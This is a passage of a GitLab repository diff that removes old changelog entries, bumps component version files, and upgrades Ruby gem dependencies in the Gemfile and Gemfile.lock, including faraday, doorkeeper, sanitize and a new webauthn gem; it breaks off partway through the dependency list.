-- Remove trailing whitespace when generating changelog entry. !7948
-- Remove checking branches state in issue new branch button. !8023
-- Log LDAP blocking/unblocking events to application log. !8042 (Markus Koller)
-- ensure permalinks scroll to correct position on multiple clicks. !8046
-- Allow to use ENV variables in redis config. !8073 (Semyon Pupkov)
-- fix button layout issue on branches page. !8074
-- Reduce DB-load for build-queues by storing last_update in Redis. !8084
-- Record and show last used date of SSH Keys. !8113 (Vincent Wong)
-- Resolves overflow in compare branch and tags dropdown. !8118
-- Replace wording for slash command confirmation message. !8123
-- remove build_user. !8162 (Arsenev Vladislav)
-- Prevent empty pagination when list is not empty. !8172
-- Make successful pipeline emails off for watchers. !8176
-- Improve copy in Issue Tracker empty state. !8202
-- Adds CSS class to status icon on MR widget to prevent non-colored icon. !8219
-- Improve visibility of "Resolve conflicts" and "Merge locally" actions. !8229
-- Add Gitaly to the architecture documentation. !8264 (Pablo Carranza <pablo@gitlab.com>)
-- Sort numbers in build names more intelligently. !8277
-- Show nested groups tab on group page. !8308
-- Rename users with namespace ending with .git. !8309
-- Rename filename to file path in tooltip of file header in merge request diff. !8314
-- About GitLab link in sidebar that links to help page. !8316
-- Merged the 'Groups' and 'Projects' tabs when viewing user profiles. !8323 (James Gregory)
-- re-enable change username button after failure. !8332
-- Darkened hr border color in descriptions because of update of bootstrap. !8333
-- display merge request discussion tab for empty branches. !8347
-- Fix double spaced CI log. !8349 (Jared Deckard <jared.deckard@gmail.com>)
-- Refactored note edit form to improve frontend performance on MR and Issues pages, especially pages with has a lot of discussions in it. !8356
-- Make CTRL+Enter submits a new merge request. !8360 (Saad Shahd)
-- Fixes too short input for placeholder message in commit listing page. !8367
-- Fix typo: seach to search. !8370
-- Adds label to Environments "Date Created". !8376 (Saad Shahd)
-- Convert project setting text into protected branch path link. !8377 (Ken Ding)
-- Precompile all JavaScript fixtures. !8384
-- Use original casing for build action text. !8387
-- Scroll to bottom on build completion if autoscroll was active. !8391
-- Properly handle failed reCAPTCHA on user registration. !8403
-- Changed alerts to be responsive, centered text on smaller viewports. !8424 (Connor Smallman)
-- Pass Gitaly resource path to gitlab-workhorse if Gitaly is enabled. !8440
-- Fixes and Improves CSS and HTML problems in mini pipeline graph and builds dropdown. !8443
-- Don't instrument 405 Grape calls. !8445
-- Change CI template linter textarea with Ace Editor. !8452 (Didem Acet)
-- Removes unneeded `window` declaration in environments related code. !8456
-- API: fix query response for `/projects/:id/issues?milestone="No%20Milestone"`. !8457 (Panagiotis Atmatzidis, David Eisner)
-- Fix broken url on group avatar. !8464 (hogewest)
-- Fixes buttons not being accessible via the keyboard when creating new group. !8469
-- Restore backup correctly when "BACKUP" environment variable is passed. !8477
-- Add new endpoints for Time Tracking. !8483
-- Fix Compare page throws 500 error when any branch/reference is not selected. !8492 (Martin Cabrera)
-- Treat environments matching `production/*` as Production. !8500
-- Hide build artifacts keep button if operation is not allowed. !8501
-- Update the gitlab-markup gem to the version 1.5.1. !8509
-- Remove Lock Icon on Protected Tag. !8513 (Sergey Nikitin)
-- Use cached values to compute total issues count in milestone index pages. !8518
-- Speed up dashboard milestone index by scoping IssuesFinder to user authorized projects. !8524
-- Copy <some text> to clipboard. !8535
-- Check for env[Grape::Env::GRAPE_ROUTING_ARGS] instead of endpoint.route. !8544
-- Fixes builds dropdown making request when clicked to be closed. !8545
-- Fixes pipeline status cell is too wide by adding missing classes in table head cells. !8549
-- Mutate the attribute instead of issuing a write operation to the DB in `ProjectFeaturesCompatibility` concern. !8552
-- Fix links to commits pages on pipelines list page. !8558
-- Ensure updating project settings shows a flash message on success. !8579 (Sandish Chen)
-- Fixes big pipeline and small pipeline width problems and tooltips text being outside the tooltip. !8593
-- Autoresize markdown preview. !8607 (Didem Acet)
-- Link external build badge to its target URL. !8611
-- Adjust ProjectStatistic#repository_size with values saved as MB. !8616
-- Correct User-agent placement in robots.txt. !8623 (Eric Sabelhaus)
-- Record used SSH keys only once per day. !8655
-- Do not generate pipeline branch/tag path if not present. !8658
-- Fix Merge When Pipeline Succeeds immediate merge bug. !8685
-- Fix blame 500 error on invalid path. !25761 (Jeff Stubler)
-- Added animations to issue boards interactions.
-- Check if user can read project before being assigned to issue.
-- Show 'too many changes' message for created merge requests when they are too large.
-- Fix redirect after update file when user has forked project.
-- Parse JIRA issue references even if Issue Tracker is disabled.
-- Made download artifacts button accessible via keyboard by changing it from an anchor tag to an actual button. (Ryan Harris)
-- Make play button on Pipelines page accessible via keyboard. (Ryan Harris)
-- Decreases font-size on login page.
-- Fixed merge request tabs dont move when opening collapsed sidebar.
-- Display project avatars on Admin Area and Projects pages for mobile views. (Ryan Harris)
-- Fix participants margins to fit on one line.
-- 26352 Change Profile settings to User / Settings.
-- Fix Commits API to accept a Project path upon POST.
-- Expire related caches after changing HEAD. (Minqi Pan)
-- Add various hover animations throughout the application.
-- Re-order update steps in the 8.14 -> 8.15 upgrade guide.
-- Move award emoji's out of the discussion tab for merge requests.
-- Synchronize all project authorization refreshing work to prevent race conditions.
-- Remove the project_authorizations.id column.
-- Combined the settings options project members and groups into a single one called members.
-- Change earlier to task_status_short to avoid titlebar line wraps.
-- 25701 standardize text colors.
-- Handle HTTP errors in environment list.
-- Re-add Google Cloud Storage as a backup strategy.
-- Change status colors of runners to better defaults.
-- Added number_with_delimiter to counter on milestone panels. (Ryan Harris)
-- Query external CI statuses in the background.
-- Allow group and project paths when transferring projects via the API.
-- Don't validate environment urls on .gitlab-ci.yml.
-- Fix a Grape deprecation, use `#request_method` instead of `#route_method`.
-- Fill missing authorized projects rows.
-- Allow API query to find projects with dots in their name. (Bruno Melli)
-- Fix import/export wrong user mapping.
-- Removed bottom padding from merge manually from CLI because of repositioning award emoji's.
-- Fix project queued for deletion re-creation tooltip.
-- Fix search group/project filtering to show results.
-- Fix 500 error when POSTing to Users API with optional confirm param.
-- 26504 Fix styling of MR jump to discussion button.
-- Add margin to markdown math blocks.
-- Add hover state to MR comment reply button.
-
-## 8.15.8 through 0.8.0
+## 9.5.10 through 0.8.0
- See [changelogs/archive.md](changelogs/archive.md)
diff --git a/GITALY_SERVER_VERSION b/GITALY_SERVER_VERSION
index c770a0cafdf..c970633b250 100644
--- a/GITALY_SERVER_VERSION
+++ b/GITALY_SERVER_VERSION
@@ -1 +1 @@
-13.3.6
+b66774f8cfbdde61d45589d7ac4cc030a086cfc6
diff --git a/GITLAB_ELASTICSEARCH_INDEXER_VERSION b/GITLAB_ELASTICSEARCH_INDEXER_VERSION
index e70b4523ae7..24ba9a38de6 100644
--- a/GITLAB_ELASTICSEARCH_INDEXER_VERSION
+++ b/GITLAB_ELASTICSEARCH_INDEXER_VERSION
@@ -1 +1 @@
-2.6.0
+2.7.0
diff --git a/GITLAB_KAS_VERSION b/GITLAB_KAS_VERSION
new file mode 100644
index 00000000000..bbdeab6222c
--- /dev/null
+++ b/GITLAB_KAS_VERSION
@@ -0,0 +1 @@
+0.0.5
diff --git a/GITLAB_PAGES_VERSION b/GITLAB_PAGES_VERSION
index 57807d6d0d0..ad2191947f7 100644
--- a/GITLAB_PAGES_VERSION
+++ b/GITLAB_PAGES_VERSION
@@ -1 +1 @@
-1.22.0
+1.25.0
diff --git a/GITLAB_SHELL_VERSION b/GITLAB_SHELL_VERSION
index 649e128e1b0..d6ef99820ff 100644
--- a/GITLAB_SHELL_VERSION
+++ b/GITLAB_SHELL_VERSION
@@ -1 +1 @@
-13.6.0 \ No newline at end of file
+13.7.0
diff --git a/GITLAB_WORKHORSE_VERSION b/GITLAB_WORKHORSE_VERSION
index aaccb7fe689..f850905cea7 100644
--- a/GITLAB_WORKHORSE_VERSION
+++ b/GITLAB_WORKHORSE_VERSION
@@ -1 +1 @@
-8.39.0
+8.46.0
diff --git a/Gemfile b/Gemfile
index 39101188454..90abfd30900 100644
--- a/Gemfile
+++ b/Gemfile
@@ -21,13 +21,13 @@ gem 'pg', '~> 1.1'
gem 'rugged', '~> 0.28'
gem 'grape-path-helpers', '~> 1.3'
-gem 'faraday', '~> 0.12'
-gem 'marginalia', '~> 1.8.0'
+gem 'faraday', '~> 1.0'
+gem 'marginalia', '~> 1.9.0'
# Authentication libraries
gem 'devise', '~> 4.6'
-gem 'doorkeeper', '~> 5.0.3'
-gem 'doorkeeper-openid_connect', '~> 1.6.3'
+gem 'doorkeeper', '~> 5.3.0'
+gem 'doorkeeper-openid_connect', '~> 1.7.4'
gem 'omniauth', '~> 1.8'
gem 'omniauth-auth0', '~> 2.0.0'
gem 'omniauth-azure-oauth2', '~> 0.0.9'
@@ -45,6 +45,7 @@ gem 'omniauth_crowd', '~> 2.4.0'
gem 'omniauth-authentiq', '~> 0.3.3'
gem 'omniauth_openid_connect', '~> 0.3.5'
gem 'omniauth-salesforce', '~> 1.0.5'
+gem 'omniauth-atlassian-oauth2', '~> 0.2.0'
gem 'rack-oauth2', '~> 1.9.3'
gem 'jwt', '~> 2.1.0'
@@ -88,12 +89,12 @@ gem 'grape-entity', '~> 0.7.1'
gem 'rack-cors', '~> 1.0.6', require: 'rack/cors'
# GraphQL API
-gem 'graphql', '~> 1.10.5'
+gem 'graphql', '~> 1.11.4'
# NOTE: graphiql-rails v1.5+ doesn't work: https://gitlab.com/gitlab-org/gitlab/issues/31771
# TODO: remove app/views/graphiql/rails/editors/show.html.erb when https://github.com/rmosolgo/graphiql-rails/pull/71 is released:
# https://gitlab.com/gitlab-org/gitlab/issues/31747
gem 'graphiql-rails', '~> 1.4.10'
-gem 'apollo_upload_server', '~> 2.0.0.beta3'
+gem 'apollo_upload_server', '~> 2.0.2'
gem 'graphql-docs', '~> 1.6.0', group: [:development, :test]
# Disable strong_params so that Mash does not respond to :permitted?
@@ -119,7 +120,7 @@ gem 'fog-local', '~> 0.6'
gem 'fog-openstack', '~> 1.0'
gem 'fog-rackspace', '~> 0.1.1'
gem 'fog-aliyun', '~> 0.3'
-gem 'gitlab-fog-azure-rm', '~> 0.7', require: false
+gem 'gitlab-fog-azure-rm', '~> 0.9', require: false
# for Google storage
gem 'google-api-client', '~> 0.33'
@@ -133,7 +134,7 @@ gem 'seed-fu', '~> 2.3.7'
# Search
gem 'elasticsearch-model', '~> 6.1'
gem 'elasticsearch-rails', '~> 6.1', require: 'elasticsearch/rails/instrumentation'
-gem 'elasticsearch-api', '~> 6.8'
+gem 'elasticsearch-api', '~> 6.8.2'
gem 'aws-sdk-core', '~> 3'
gem 'aws-sdk-cloudformation', '~> 1'
gem 'aws-sdk-s3', '~> 1'
@@ -249,9 +250,7 @@ gem 'slack-messenger', '~> 2.3.3'
gem 'hangouts-chat', '~> 0.0.5'
# Asana integration
-# asana 0.10.1 needs faraday 1.0
-# https://gitlab.com/gitlab-org/gitlab/-/issues/224296
-gem 'asana', '0.10.0'
+gem 'asana', '0.10.2'
# FogBugz integration
gem 'ruby-fogbugz', '~> 0.2.1'
@@ -260,7 +259,7 @@ gem 'ruby-fogbugz', '~> 0.2.1'
gem 'kubeclient', '~> 4.6.0'
# Sanitize user input
-gem 'sanitize', '~> 4.6'
+gem 'sanitize', '~> 5.2.1'
gem 'babosa', '~> 1.0.2'
# Sanitizes SVG input
@@ -304,7 +303,7 @@ gem "gitlab-license", "~> 1.0"
gem 'rack-attack', '~> 6.3.0'
# Sentry integration
-gem 'sentry-raven', '~> 2.9'
+gem 'sentry-raven', '~> 3.0'
gem 'premailer-rails', '~> 1.10.3'
@@ -316,7 +315,7 @@ gem 'ruby_parser', '~> 3.8', require: false
gem 'rails-i18n', '~> 6.0'
gem 'gettext_i18n_rails', '~> 1.8.0'
gem 'gettext_i18n_rails_js', '~> 1.3'
-gem 'gettext', '~> 3.2.2', require: false, group: :development
+gem 'gettext', '~> 3.3', require: false, group: :development
gem 'batch-loader', '~> 1.4.0'
@@ -328,7 +327,7 @@ gem 'snowplow-tracker', '~> 0.6.1'
# Metrics
group :metrics do
- gem 'method_source', '~> 0.8', require: false
+ gem 'method_source', '~> 1.0', require: false
# Prometheus
gem 'prometheus-client-mmap', '~> 0.11.0'
@@ -337,21 +336,20 @@ end
group :development do
gem 'brakeman', '~> 4.2', require: false
- gem 'danger', '~> 6.0', require: false
+ gem 'danger', '~> 8.0', require: false
gem 'letter_opener_web', '~> 1.3.4'
# Better errors handler
gem 'better_errors', '~> 2.7.1'
- gem 'binding_of_caller', '~> 0.8.0'
# thin instead webrick
gem 'thin', '~> 1.7.0'
end
group :development, :test do
- gem 'bullet', '~> 6.0.2'
- gem 'pry-byebug', '~> 3.5.1', platform: :mri
+ gem 'bullet', '~> 6.1.0'
+ gem 'pry-byebug', '~> 3.9.0', platform: :mri
gem 'pry-rails', '~> 0.3.9'
gem 'awesome_print', require: false
@@ -512,3 +510,5 @@ gem 'json_schemer', '~> 0.2.12'
gem 'oj', '~> 3.10.6'
gem 'multi_json', '~> 1.14.1'
gem 'yajl-ruby', '~> 1.4.1', require: 'yajl'
+
+gem 'webauthn', '~> 2.3'
diff --git a/Gemfile.lock b/Gemfile.lock
index 640ac2558c0..7d743f2029e 100644
--- a/Gemfile.lock
+++ b/Gemfile.lock
@@ -73,12 +73,13 @@ GEM
public_suffix (>= 2.0.2, < 5.0)
aes_key_wrap (1.0.1)
akismet (3.0.0)
- apollo_upload_server (2.0.0.beta.3)
+ android_key_attestation (0.3.0)
+ apollo_upload_server (2.0.2)
graphql (>= 1.8)
rails (>= 4.2)
- asana (0.10.0)
- faraday (~> 0.9)
- faraday_middleware (~> 0.9)
+ asana (0.10.2)
+ faraday (~> 1.0)
+ faraday_middleware (~> 1.0)
faraday_middleware-multi_json (~> 0.0)
oauth2 (~> 1.4)
asciidoctor (2.0.10)
@@ -93,6 +94,7 @@ GEM
encryptor (~> 3.0.0)
attr_required (1.0.1)
awesome_print (1.8.0)
+ awrence (1.1.1)
aws-eventstream (1.1.0)
aws-partitions (1.345.0)
aws-sdk-cloudformation (1.41.0)
@@ -112,15 +114,13 @@ GEM
aws-sigv4 (~> 1.1)
aws-sigv4 (1.2.1)
aws-eventstream (~> 1, >= 1.0.2)
- azure-core (0.1.15)
- faraday (~> 0.9)
- faraday_middleware (~> 0.10)
- nokogiri (~> 1.6)
- azure-storage (0.15.0.preview)
- azure-core (~> 0.1)
- faraday (~> 0.9)
- faraday_middleware (~> 0.10)
- nokogiri (~> 1.6, >= 1.6.8)
+ azure-storage-blob (2.0.0)
+ azure-storage-common (~> 2.0)
+ nokogiri (~> 1.10.4)
+ azure-storage-common (2.0.1)
+ faraday (~> 1.0)
+ faraday_middleware (~> 1.0.0.rc1)
+ nokogiri (~> 1.10.4)
babosa (1.0.2)
base32 (0.3.2)
batch-loader (1.4.0)
@@ -135,8 +135,6 @@ GEM
rack (>= 0.9.0)
bindata (2.4.3)
binding_ninja (0.2.3)
- binding_of_caller (0.8.0)
- debug_inspector (>= 0.0.1)
bootsnap (1.4.6)
msgpack (~> 1.0)
bootstrap_form (4.2.0)
@@ -145,13 +143,13 @@ GEM
brakeman (4.2.1)
browser (4.2.0)
builder (3.2.4)
- bullet (6.0.2)
+ bullet (6.1.0)
activesupport (>= 3.0.0)
uniform_notifier (~> 1.11)
bundler-audit (0.6.1)
bundler (>= 1.2.0, < 3)
thor (~> 0.18)
- byebug (9.1.0)
+ byebug (11.1.3)
capybara (3.33.0)
addressable
mini_mime (>= 0.1.3)
@@ -167,6 +165,7 @@ GEM
activemodel (>= 4.0.0)
activesupport (>= 4.0.0)
mime-types (>= 1.16)
+ cbor (0.5.9.6)
character_set (1.4.0)
charlock_holmes (0.7.6)
childprocess (3.0.0)
@@ -177,7 +176,7 @@ GEM
cork
nap
open4 (~> 1.3)
- coderay (1.1.2)
+ coderay (1.1.3)
colored2 (3.1.2)
commonmarker (0.20.1)
ruby-enum (~> 0.5)
@@ -189,6 +188,9 @@ GEM
contracts (0.11.0)
cork (0.3.0)
colored2 (~> 3.1)
+ cose (1.0.0)
+ cbor (~> 0.5.9)
+ openssl-signature_algorithm (~> 0.4.0)
countries (3.0.0)
i18n_data (~> 0.8.0)
sixarm_ruby_unaccent (~> 1.1)
@@ -200,21 +202,20 @@ GEM
css_parser (1.7.0)
addressable
daemons (1.2.6)
- danger (6.0.9)
+ danger (8.0.5)
claide (~> 1.0)
claide-plugins (>= 0.9.2)
colored2 (~> 3.1)
cork (~> 0.1)
- faraday (~> 0.9)
+ faraday (>= 0.9.0, < 2.0)
faraday-http-cache (~> 2.0)
- git (~> 1.5)
- kramdown (~> 2.0)
+ git (~> 1.7)
+ kramdown (~> 2.3)
kramdown-parser-gfm (~> 1.0)
no_proxy_fix
octokit (~> 4.7)
terminal-table (~> 1)
database_cleaner (1.7.0)
- debug_inspector (0.0.3)
debugger-ruby_core_source (1.3.8)
deckar01-task_list (2.3.1)
html-pipeline
@@ -254,11 +255,11 @@ GEM
docile (1.3.2)
domain_name (0.5.20180417)
unf (>= 0.0.5, < 1.0.0)
- doorkeeper (5.0.3)
- railties (>= 4.2)
- doorkeeper-openid_connect (1.6.3)
- doorkeeper (>= 5.0, < 5.2)
- json-jwt (~> 1.6)
+ doorkeeper (5.3.3)
+ railties (>= 5)
+ doorkeeper-openid_connect (1.7.4)
+ doorkeeper (>= 5.2, < 5.5)
+ json-jwt (>= 1.11.0)
dry-configurable (0.11.5)
concurrent-ruby (~> 1.0)
dry-core (~> 0.4, >= 0.4.7)
@@ -284,18 +285,18 @@ GEM
ecma-re-validator (0.2.1)
regexp_parser (~> 1.2)
ed25519 (1.2.4)
- elasticsearch (6.8.0)
- elasticsearch-api (= 6.8.0)
- elasticsearch-transport (= 6.8.0)
- elasticsearch-api (6.8.0)
+ elasticsearch (6.8.2)
+ elasticsearch-api (= 6.8.2)
+ elasticsearch-transport (= 6.8.2)
+ elasticsearch-api (6.8.2)
multi_json
- elasticsearch-model (6.1.0)
+ elasticsearch-model (6.1.1)
activesupport (> 3)
- elasticsearch (> 1)
+ elasticsearch (~> 6)
hashie
- elasticsearch-rails (6.1.0)
- elasticsearch-transport (6.8.0)
- faraday
+ elasticsearch-rails (6.1.1)
+ elasticsearch-transport (6.8.2)
+ faraday (~> 1)
multi_json
email_reply_trimmer (0.1.6)
email_spec (2.2.0)
@@ -320,15 +321,15 @@ GEM
factory_bot_rails (5.1.0)
factory_bot (~> 5.1.0)
railties (>= 4.2.0)
- faraday (0.17.3)
+ faraday (1.0.1)
multipart-post (>= 1.2, < 3)
- faraday-cookie_jar (0.0.6)
- faraday (>= 0.7.4)
+ faraday-cookie_jar (0.0.7)
+ faraday (>= 0.8.0)
http-cookie (~> 1.0.0)
- faraday-http-cache (2.0.0)
- faraday (~> 0.8)
- faraday_middleware (0.14.0)
- faraday (>= 0.7.4, < 1.0)
+ faraday-http-cache (2.2.0)
+ faraday (>= 0.8)
+ faraday_middleware (1.0.0)
+ faraday (~> 1.0)
faraday_middleware-aws-sigv4 (0.3.0)
aws-sigv4 (~> 1.0)
faraday (>= 0.15)
@@ -338,7 +339,7 @@ GEM
fast_blank (1.0.0)
fast_gettext (1.6.0)
ffaker (2.10.0)
- ffi (1.12.2)
+ ffi (1.13.1)
ffi-compiler (1.0.1)
ffi (>= 1.0.0)
rake
@@ -403,7 +404,7 @@ GEM
json
get_process_mem (0.2.5)
ffi (~> 1.0)
- gettext (3.2.9)
+ gettext (3.3.6)
locale (>= 2.0.5)
text (>= 1.3.0)
gettext_i18n_rails (1.8.0)
@@ -413,14 +414,16 @@ GEM
gettext_i18n_rails (>= 0.7.1)
po_to_json (>= 1.0.0)
rails (>= 3.2.0)
- git (1.5.0)
+ git (1.7.0)
+ rchardet (~> 1.8)
gitaly (13.3.0.pre.rc2)
grpc (~> 1.0)
github-markup (1.7.0)
gitlab-chronic (0.10.5)
numerizer (~> 0.2)
- gitlab-fog-azure-rm (0.7.0)
- azure-storage (~> 0.15.0.preview)
+ gitlab-fog-azure-rm (0.9.0)
+ azure-storage-blob (~> 2.0)
+ azure-storage-common (~> 2.0)
fog-core (= 2.1.0)
fog-json (~> 1.2.0)
mime-types
@@ -436,7 +439,7 @@ GEM
gitlab-mail_room (0.0.6)
gitlab-markup (1.7.1)
gitlab-net-dns (0.9.1)
- gitlab-puma (4.3.3.gitlab.2)
+ gitlab-puma (4.3.5.gitlab.3)
nio4r (~> 2.0)
gitlab-puma_worker_killer (0.1.1.gitlab.1)
get_process_mem (~> 0.2)
@@ -502,7 +505,7 @@ GEM
graphiql-rails (1.4.10)
railties
sprockets-rails
- graphql (1.10.5)
+ graphql (1.11.4)
graphql-docs (1.6.0)
commonmarker (~> 0.16)
escape_utils (~> 1.2)
@@ -516,7 +519,7 @@ GEM
googleapis-common-protos-types (~> 1.0)
gssapi (1.2.0)
ffi (>= 1.0.1)
- guard (2.15.1)
+ guard (2.16.2)
formatador (>= 0.2.4)
listen (>= 2.7, < 4.0)
lumberjack (>= 1.0.12, < 2.0)
@@ -649,11 +652,10 @@ GEM
xml-simple
licensee (8.9.2)
rugged (~> 0.24)
- listen (3.1.5)
- rb-fsevent (~> 0.9, >= 0.9.4)
- rb-inotify (~> 0.9, >= 0.9.7)
- ruby_dep (~> 1.2)
- locale (2.1.2)
+ listen (3.2.1)
+ rb-fsevent (~> 0.10, >= 0.10.3)
+ rb-inotify (~> 0.9, >= 0.9.10)
+ locale (2.1.3)
lockbox (0.3.3)
lograge (0.11.2)
actionpack (>= 4)
@@ -664,19 +666,19 @@ GEM
crass (~> 1.0.2)
nokogiri (>= 1.5.9)
lru_redux (1.1.0)
- lumberjack (1.0.13)
+ lumberjack (1.2.7)
mail (2.7.1)
mini_mime (>= 0.1.1)
marcel (0.3.3)
mimemagic (~> 0.3.2)
- marginalia (1.8.0)
+ marginalia (1.9.0)
actionpack (>= 2.3)
activerecord (>= 2.3)
memoist (0.16.0)
memoizable (0.4.2)
thread_safe (~> 0.3, >= 0.3.1)
memory_profiler (0.9.14)
- method_source (0.9.2)
+ method_source (1.0.0)
mime-types (3.3.1)
mime-types-data (~> 3.2015)
mime-types-data (3.2020.0512)
@@ -695,7 +697,7 @@ GEM
faraday (>= 0.9, < 2.0.0)
faraday-cookie_jar (~> 0.0.6)
ms_rest (~> 0.7.6)
- msgpack (1.3.1)
+ msgpack (1.3.3)
multi_json (1.14.1)
multi_xml (0.6.0)
multipart-post (2.1.1)
@@ -713,10 +715,10 @@ GEM
netrc (0.11.0)
nio4r (2.5.2)
no_proxy_fix (0.1.2)
- nokogiri (1.10.9)
+ nokogiri (1.10.10)
mini_portile2 (~> 2.4.0)
- nokogumbo (1.5.0)
- nokogiri
+ nokogumbo (2.0.2)
+ nokogiri (~> 1.8, >= 1.8.4)
notiffany (0.1.3)
nenv (~> 0.1)
shellany (~> 0.0)
@@ -735,6 +737,9 @@ GEM
omniauth (1.9.0)
hashie (>= 3.4.6, < 3.7.0)
rack (>= 1.6.2, < 3)
+ omniauth-atlassian-oauth2 (0.2.0)
+ omniauth (>= 1.1.1)
+ omniauth-oauth2 (>= 1.5)
omniauth-auth0 (2.0.0)
omniauth-oauth2 (~> 1.4)
omniauth-authentiq (0.3.3)
@@ -803,8 +808,10 @@ GEM
validate_email
validate_url
webfinger (>= 1.0.1)
+ openssl (2.2.0)
+ openssl-signature_algorithm (0.4.0)
opentracing (0.5.0)
- optimist (3.0.0)
+ optimist (3.0.1)
org-ruby (0.9.12)
rubypants (~> 0.2)
orm_adapter (0.5.0)
@@ -815,7 +822,7 @@ GEM
parslet (1.8.2)
peek (1.1.0)
railties (>= 4.0.0)
- pg (1.2.2)
+ pg (1.2.3)
png_quantizator (0.2.1)
po_to_json (1.0.1)
json (>= 1.6.0)
@@ -832,12 +839,12 @@ GEM
unparser
procto (0.0.3)
prometheus-client-mmap (0.11.0)
- pry (0.11.3)
- coderay (~> 1.1.0)
- method_source (~> 0.9.0)
- pry-byebug (3.5.1)
- byebug (~> 9.1)
- pry (~> 0.10)
+ pry (0.13.1)
+ coderay (~> 1.1)
+ method_source (~> 1.0)
+ pry-byebug (3.9.0)
+ byebug (~> 11.0)
+ pry (~> 0.13.0)
pry-rails (0.3.9)
pry (>= 0.10.4)
public_suffix (4.0.3)
@@ -899,15 +906,16 @@ GEM
rainbow (3.0.0)
raindrops (0.19.1)
rake (12.3.3)
- rb-fsevent (0.10.2)
- rb-inotify (0.9.10)
- ffi (>= 0.5.0, < 2)
+ rb-fsevent (0.10.4)
+ rb-inotify (0.10.1)
+ ffi (~> 1.0)
rblineprof (0.3.6)
debugger-ruby_core_source (~> 1.3)
- rbtrace (0.4.11)
+ rbtrace (0.4.14)
ffi (>= 1.0.6)
msgpack (>= 0.4.3)
optimist (>= 3.0.0)
+ rchardet (1.8.0)
rdoc (6.1.2)
re2 (1.2.0)
recaptcha (4.13.1)
@@ -1020,7 +1028,6 @@ GEM
nokogiri (>= 1.5.10)
ruby-statistics (2.1.2)
ruby2_keywords (0.0.2)
- ruby_dep (1.5.0)
ruby_parser (3.13.1)
sexp_processor (~> 4.9)
rubyntlm (0.6.2)
@@ -1028,10 +1035,12 @@ GEM
rubyzip (2.0.0)
rugged (0.28.4.1)
safe_yaml (1.0.4)
- sanitize (4.6.6)
+ safety_net_attestation (0.4.0)
+ jwt (~> 2.0)
+ sanitize (5.2.1)
crass (~> 1.0.2)
- nokogiri (>= 1.4.4)
- nokogumbo (~> 1.4)
+ nokogiri (>= 1.8.0)
+ nokogumbo (~> 2.0)
sass (3.5.5)
sass-listen (~> 4.0.0)
sass-listen (4.0.0)
@@ -1052,14 +1061,15 @@ GEM
scss_lint (0.56.0)
rake (>= 0.9, < 13)
sass (~> 3.5.3)
+ securecompare (1.0.0)
seed-fu (2.3.7)
activerecord (>= 3.1)
activesupport (>= 3.1)
selenium-webdriver (3.142.6)
childprocess (>= 0.5, < 4.0)
rubyzip (>= 1.2.2)
- sentry-raven (2.9.0)
- faraday (>= 0.7.6, < 1.0)
+ sentry-raven (3.0.4)
+ faraday (>= 1.0)
settingslogic (2.0.9)
sexp_processor (4.12.0)
shellany (0.0.1)
@@ -1137,6 +1147,9 @@ GEM
parslet (~> 1.8.0)
toml-rb (1.0.0)
citrus (~> 3.0, > 3.0)
+ tpm-key_attestation (0.9.0)
+ bindata (~> 2.4)
+ openssl-signature_algorithm (~> 0.4.0)
truncato (0.7.11)
htmlentities (~> 4.3.1)
nokogiri (>= 1.7.0, <= 2.0)
@@ -1188,6 +1201,16 @@ GEM
vmstat (2.3.0)
warden (1.2.8)
rack (>= 2.0.6)
+ webauthn (2.3.0)
+ android_key_attestation (~> 0.3.0)
+ awrence (~> 1.1)
+ bindata (~> 2.4)
+ cbor (~> 0.5.9)
+ cose (~> 1.0)
+ openssl (~> 2.0)
+ safety_net_attestation (~> 0.4.0)
+ securecompare (~> 1.0)
+ tpm-key_attestation (~> 0.9.0)
webfinger (1.1.0)
activesupport
httpclient (>= 2.4)
@@ -1222,8 +1245,8 @@ DEPENDENCIES
acts-as-taggable-on (~> 6.0)
addressable (~> 2.7)
akismet (~> 3.0)
- apollo_upload_server (~> 2.0.0.beta3)
- asana (= 0.10.0)
+ apollo_upload_server (~> 2.0.2)
+ asana (= 0.10.2)
asciidoctor (~> 2.0.10)
asciidoctor-include-ext (~> 0.3.1)
asciidoctor-plantuml (~> 0.0.12)
@@ -1240,12 +1263,11 @@ DEPENDENCIES
benchmark-ips (~> 2.3.0)
benchmark-memory (~> 0.1)
better_errors (~> 2.7.1)
- binding_of_caller (~> 0.8.0)
bootsnap (~> 1.4.6)
bootstrap_form (~> 4.2.0)
brakeman (~> 4.2)
browser (~> 4.2)
- bullet (~> 6.0.2)
+ bullet (~> 6.1.0)
bundler-audit (~> 0.6.1)
capybara (~> 3.33.0)
capybara-screenshot (~> 1.0.22)
@@ -1256,7 +1278,7 @@ DEPENDENCIES
connection_pool (~> 2.0)
countries (~> 3.0)
creole (~> 0.5.0)
- danger (~> 6.0)
+ danger (~> 8.0)
database_cleaner (~> 1.7.0)
deckar01-task_list (= 2.3.1)
default_value_for (~> 3.3.0)
@@ -1267,10 +1289,10 @@ DEPENDENCIES
diff_match_patch (~> 0.1.0)
diffy (~> 3.3)
discordrb-webhooks-blackst0ne (~> 3.3)
- doorkeeper (~> 5.0.3)
- doorkeeper-openid_connect (~> 1.6.3)
+ doorkeeper (~> 5.3.0)
+ doorkeeper-openid_connect (~> 1.7.4)
ed25519 (~> 1.2)
- elasticsearch-api (~> 6.8)
+ elasticsearch-api (~> 6.8.2)
elasticsearch-model (~> 6.1)
elasticsearch-rails (~> 6.1)
email_reply_trimmer (~> 0.1)
@@ -1278,7 +1300,7 @@ DEPENDENCIES
erubi (~> 1.9.0)
escape_utils (~> 1.1)
factory_bot_rails (~> 5.1.0)
- faraday (~> 0.12)
+ faraday (~> 1.0)
faraday_middleware-aws-sigv4 (~> 0.3.0)
fast_blank
ffaker (~> 2.10)
@@ -1297,13 +1319,13 @@ DEPENDENCIES
fugit (~> 1.2.1)
fuubar (~> 2.2.0)
gemojione (~> 3.3)
- gettext (~> 3.2.2)
+ gettext (~> 3.3)
gettext_i18n_rails (~> 1.8.0)
gettext_i18n_rails_js (~> 1.3)
gitaly (~> 13.3.0.pre.rc1)
github-markup (~> 1.7.0)
gitlab-chronic (~> 0.10.5)
- gitlab-fog-azure-rm (~> 0.7)
+ gitlab-fog-azure-rm (~> 0.9)
gitlab-labkit (= 0.12.1)
gitlab-license (~> 1.0)
gitlab-mail_room (~> 0.0.6)
@@ -1324,7 +1346,7 @@ DEPENDENCIES
grape-path-helpers (~> 1.3)
grape_logging (~> 1.7)
graphiql-rails (~> 1.4.10)
- graphql (~> 1.10.5)
+ graphql (~> 1.11.4)
graphql-docs (~> 1.6.0)
grpc (~> 1.30.2)
gssapi
@@ -1358,9 +1380,9 @@ DEPENDENCIES
loofah (~> 2.2)
lru_redux
mail (= 2.7.1)
